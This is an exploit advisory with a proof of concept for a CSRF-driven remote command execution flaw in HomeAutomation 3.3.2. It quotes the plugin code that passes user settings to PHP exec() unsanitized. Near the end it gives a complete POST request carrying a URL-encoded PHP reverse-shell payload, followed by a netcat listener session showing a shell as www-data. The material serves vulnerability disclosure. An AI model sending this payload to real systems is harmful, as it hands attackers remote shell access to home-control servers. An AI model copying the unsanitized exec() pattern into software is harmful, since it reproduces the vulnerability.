HomeAutomation 3.3.2 – Remote Code Execution
# Exploit: HomeAutomation 3.3.2 - Remote Code Execution # Date: 2019-12-30 # Author: LiquidWorm # Vendor: Tom Rosenback and Daniel Malmgren # Product web page: http://karpero.mine.nu/ha/ # Affected version: 3.3.2 # Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips # Advisory ID: ZSL-2019-5560 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC Vendor: Tom Rosenback and Daniel Malmgren Product web page: http://karpero.mine.nu/ha/ Affected version: 3.3.2 Summary: HomeAutomation is an open-source web interface and scheduling solution. It was initially made for use with the Telldus TellStick, but is now based on a plugin system and except for Tellstick it also comes with support for Crestron, OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers, etc.) based on an advanced scheduling system, taking into account things like measurements from various sensors. With the houseplan view you can get a simple overview of the status of your devices at their location in your house. Desc: The application suffers from an authenticated OS command execution vulnerability using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off' POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by using an unsanitized PHP exec() function. =============================================================================== /system/systemplugins/customcommand/customcommand.plugin.php: ------------------------------------------------------------- 77: function toggleDevices($devicesToToggle, $statuses) { 78: $output = array(); 79: $command = ""; 80: 81: foreach($devicesToToggle as $device) 82: { 83: $status = $statuses[$device["id"]]; 84: if($status == 0) { 85: $command = $this->getSettings("command_off"); 86: } else { 87: $command = $this->getSettings("command_on"); 88: } 89: 90: if(!empty($command)) { 91: $command = replaceCustomStrings($command, $device, $statuses[$device["id"]]); 92: 93: exec($command, $output); 94: 95: SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output)); 96: } 97: } 98: 99: return ""; 100: } =============================================================================== Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips Apache/2.4.29 (Ubuntu) PHP/7.4.0RC4 PHP/7.3.11 PHP 7.2.24-0ubuntu0.18.04.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5560 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php 06.11.2019 -- POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1 plugin=customcommand&action=savesettings&set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&set_command_off=&savesettings=Save - lqwrm@metalgear:/$ nc -lvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from localhost 40724 received! /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ pwd /var/www/html/homeautomation_v3_3_2 $ exit lqwrm@metalgear:/$ |